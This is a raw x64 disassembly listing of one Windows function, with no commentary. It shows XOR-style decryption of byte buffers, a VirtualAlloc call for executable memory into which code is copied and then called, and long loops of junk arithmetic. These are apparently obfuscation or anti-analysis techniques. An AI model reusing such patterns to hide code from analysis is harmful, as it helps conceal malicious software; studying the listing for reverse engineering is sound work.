pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm12
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm15
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm14
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x38]
xorps xmm2, xmm1
movd dword [rsp + 0x38], xmm2
movdqa xmm4, xmmword [0x14002f9e0]
movdqa xmm3, xmm4
punpckldq xmm3, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm2, xmm3
pmuldq xmm2, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
pmuldq xmm3, xmm10
pmuldq xmm1, xmm10
shufps xmm3, xmm1, 0xdd
psubd xmm3, xmm4
psrad xmm3, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm4
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm2, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x3c]
xorps xmm2, xmm1
movd dword [rsp + 0x3c], xmm2
jmp 0x14000fad2
lea r10, [rsp + 0x38]
mov r9d, r12d
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0x6db6db6d
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
sub cl, r8b
add cl, 0x25
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 8
jl 0x14000fa80
lea r8, [rbp + 0x178]
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0x120]
call fcn.140020680
nop
mov rcx, rax
call fcn.14001e8e0
mov qword [rsp + 0x40], rax
lea rcx, [rbp + 0xd8]
call fcn.140002560
lea rdx, [rbp + 0x1608]
lea rcx, [rbp + 0xd8]
call fcn.140002570
nop
mov ecx, r12d
mov rax, qword [0x14003bb10]
lea rbx, [0x140020620]
test rax, rax
je 0x14000fb59
nop
cmp rax, rbx
je 0x14000fb46
inc ecx
mov rax, qword [rdi + rcx*8 + 0x3bb10]
test rax, rax
jne 0x14000fb30
jmp 0x14000fb59
mov eax, ecx
mov r8, qword [rdi + rax*8 + 0x3ab40]
test r8, r8
jne 0x14000fc3f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000fb82
mov r8, r12
jmp 0x14000fc1e
mov rax, rbx
mov rcx, r8
mov rdx, r14
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000fb90
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140039520]
mov qword [rdi + rax*8 + 0x3bb10], rbx
mov qword [rdi + rax*8 + 0x3ab40], r8
inc rax
mov qword [0x140039520], rax
lea rdx, [rsp + 0x40]
lea rcx, [0x14000a180]
call r8
nop
mov rcx, qword [rbp + 0xd8]
xor rcx, qword [rbp + 0xe0]
mov qword [rbp + 0xd8], rcx
mov rax, qword [rbp + 0xe8]
mov qword [rax], rcx
lea rcx, [rbp + 0x120]
call fcn.14001ea20
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x1a0]
call fcn.14001e3a0
mov dword [rbp + 0xd0], 0xffffff9c
mov dword [rbp + 0xd4], 0x64
movdqa xmm0, xmmword [0x14002fa20]
movups xmmword [rbp + 0x110], xmm0
mov dword [rsp + 0x30], r12d
movsd qword [rsp + 0x38], xmm8
lea rcx, [rsp + 0x50]
call fcn.140001670
mov qword [rsp + 0x40], 0x64
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x60]
call fcn.14001fe60
lea rcx, [rbp + 0xf0]
call fcn.140002560
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf0], xmm1
mov qword [rbp + 0x100], r12
lea rcx, [rsp + 0x40]
call fcn.14001fe80
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001e2d0
nop
lea rcx, [rsp + 0x50]
call fcn.14001e2b0
nop
lea rcx, [rsp + 0x40]
call fcn.14001e2b0
lea rcx, [rsp + 0x40]
call fcn.14001feb0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001e2d0
nop
lea rcx, [rsp + 0x50]
call fcn.14001e2b0
nop
lea rcx, [rsp + 0x40]
call fcn.14001e2b0
lea rcx, [rsp + 0x40]
call fcn.14001fee0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001e2d0
nop
lea rcx, [rsp + 0x50]
call fcn.14001e2b0
nop
lea rcx, [rsp + 0x40]
call fcn.14001e2b0
lea rcx, [rsp + 0x40]
call fcn.14001ff10
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001e2d0
nop
lea rcx, [rsp + 0x50]
call fcn.14001e2b0
nop
lea rcx, [rsp + 0x40]
call fcn.14001e2b0
lea rcx, [rsp + 0x40]
call fcn.14001ff40
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001e2d0
nop
lea rcx, [rsp + 0x50]
call fcn.14001e2b0
nop
lea rcx, [rsp + 0x40]
call fcn.14001e2b0
lea rcx, [rsp + 0x40]
call fcn.14001ff70
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001e2d0
nop
lea rcx, [rsp + 0x50]
call fcn.14001e2b0
nop
lea rcx, [rsp + 0x40]
call fcn.14001e2b0
lea rcx, [rsp + 0x40]
call fcn.140001670
mov rcx, rax
lea rdx, [rsp + 0x60]
call fcn.140002510
test al, al
jns 0x1400101c3
nop
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001fdc0
mov rbx, qword [rbp + 0xf8]
sub rbx, qword [rbp + 0xf0]
sar rbx, 3
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001fdc0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0xf0]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001fdc0
mov r8d, eax
mov edx, dword [rsp + 0x30]
mov rcx, rdi
call rbx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.14001ffa0
movaps xmm5, xmm0
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.14001ffa0
movaps xmm1, xmm5
call fcn.1400023e0
movsd xmm1, qword [rsp + 0x38]
addsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.14001ffa0
movaps xmm1, xmm7
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x38]
subsd xmm1, xmm0
movsd qword [rsp + 0x38], xmm1
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.14001ffa0
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm0
lea rdx, str.random
lea rcx, [rbp + 0x120]
call fcn.14001ea80
nop
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x120]
call fcn.140002350
lea rcx, [rbp + 0xd8]
call fcn.140002560
lea rcx, [rbp + 0xd8]
call fcn.14001e450
nop
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x1a0]
mov qword [rsp + 0x58], rax
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x70], xmm0
lea r8, [rsp + 0x70]
mov rdx, qword [rbp + 0xe0]
mov rcx, qword [rbp + 0xd8]
call fcn.140020020
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd8]
call fcn.140002460
mov rdx, qword [rbp + 0xe0]
mov rcx, qword [rbp + 0xd8]
call fcn.140020080
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001fdc0
mov ebx, eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001fdc0
mov r8d, ebx
mov edx, eax
call fcn.140002530
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
test al, 1
jne 0x1400100b5
call fcn.14001fdc0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x1400100c4
call fcn.14001fdc0
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov dword [rsp + 0x30], ecx
mov edi, 5
nop dword [rax]
mov ebx, r12d
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001fdc0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.14001ffa0
movsd xmm5, qword [rsp + 0x38]
addsd xmm0, xmm5
movsd qword [rsp + 0x38], xmm0
lea rdx, [rbp + 0x1a0]
test bl, 1
jne 0x140010145
lea rcx, [rbp + 0xd0]
call fcn.14001fdc0
mov ecx, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x140010165
movsd xmm5, qword [rsp + 0x38]
lea rcx, [rbp + 0x110]
call fcn.14001ffa0
addsd xmm0, xmm6
divsd xmm5, xmm0
movsd qword [rsp + 0x38], xmm5
inc ebx
cmp ebx, 5
jl 0x1400100e0
sub rdi, 1
jne 0x1400100d0
lea rcx, [rbp + 0xd8]
call fcn.14001e3f0
nop
lea rcx, [rbp + 0x120]
call fcn.14001ea20
sub rsi, 1
jne 0x14000fea0
lea rcx, [rsp + 0x40]
call fcn.140001670
mov rcx, rax
lea rdx, [rsp + 0x60]
call fcn.140002510
test al, al
js 0x14000fe90
lea rdi, [0x140000000]
mov eax, dword [rsp + 0x30]
lea rcx, [rbp + 0xf0]
call fcn.14001e300
movups xmm0, xmmword [str.8__p61:.9B_15____18____]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [0x14002f428]
movups xmmword [rbp], xmm1
movups xmm0, xmmword [0x14002f438]
movups xmmword [rbp + 0x10], xmm0
movsd xmm0, qword [0x14002f448]
movsd qword [rbp + 0x20], xmm0
mov eax, dword [0x14002f450]
mov dword [rbp + 0x28], eax
movzx eax, word [0x14002f454]
mov word [rbp + 0x2c], ax
movzx eax, byte [0x14002f456]
mov byte [rbp + 0x2e], al
mov r9d, r12d
cmp r15d, 2
jl 0x1400103d1
movdqa xmmword [rsp + 0x40], xmm13
lea rcx, [rbp - 0x10]
mov edx, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm12
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm15
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm14
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm12
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm15
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm14
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm1, xmm0
movd dword [rcx + 4], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x38
jl 0x140010240
cmp r9d, 0x3f
jge 0x140010432
movsxd rax, r9d
lea r10, [rbp - 0x10]
add r10, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0x6db6db6d
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
sub cl, r8b
add cl, 0x25
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x3f
jl 0x1400103e0
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
lea rcx, [rbp + 0xd8]
call fcn.140002560
lea rdx, [rbp + 0x1608]
lea rcx, [rbp + 0xd8]
call fcn.140002570
nop
mov ecx, r12d
mov rax, qword [0x140039ea0]
lea rbx, [0x140020620]
test rax, rax
je 0x14001049a
cmp rax, rbx
je 0x140010487
inc ecx
mov rax, qword [rdi + rcx*8 + 0x39ea0]
test rax, rax
jne 0x140010471
jmp 0x14001049a
mov eax, ecx
mov r10, qword [rdi + rax*8 + 0x39860]
test r10, r10
jne 0x14001057f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x1400104c3
mov r10, r12
jmp 0x14001055e
mov rax, rbx
mov rcx, r10
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r14, 1
jne 0x1400104d0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140039850]
mov qword [rdi + rax*8 + 0x39ea0], rbx
mov qword [rdi + rax*8 + 0x39860], r10
inc rax
mov qword [0x140039850], rax
lea rdx, [rsp + 0x40]
lea rcx, [0x14000a180]
call r10
nop
mov rcx, qword [rbp + 0xd8]
xor rcx, qword [rbp + 0xe0]
mov rax, qword [rbp + 0xe8]
mov qword [rax], rcx
lea rcx, [rbp + 0x178]
call fcn.14001ea20
nop
mov rax, qword [rbp + 0x160]
movabs rcx, 0xff00ff00ff00ff00
xor rax, rcx
lea rcx, [rbp + 0x1608]
mov qword [rcx], rax
mov rcx, qword [rbp + 0x1530]
xor rcx, rsp
call fcn.14002a940
lea r11, [rsp + 0x16e0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret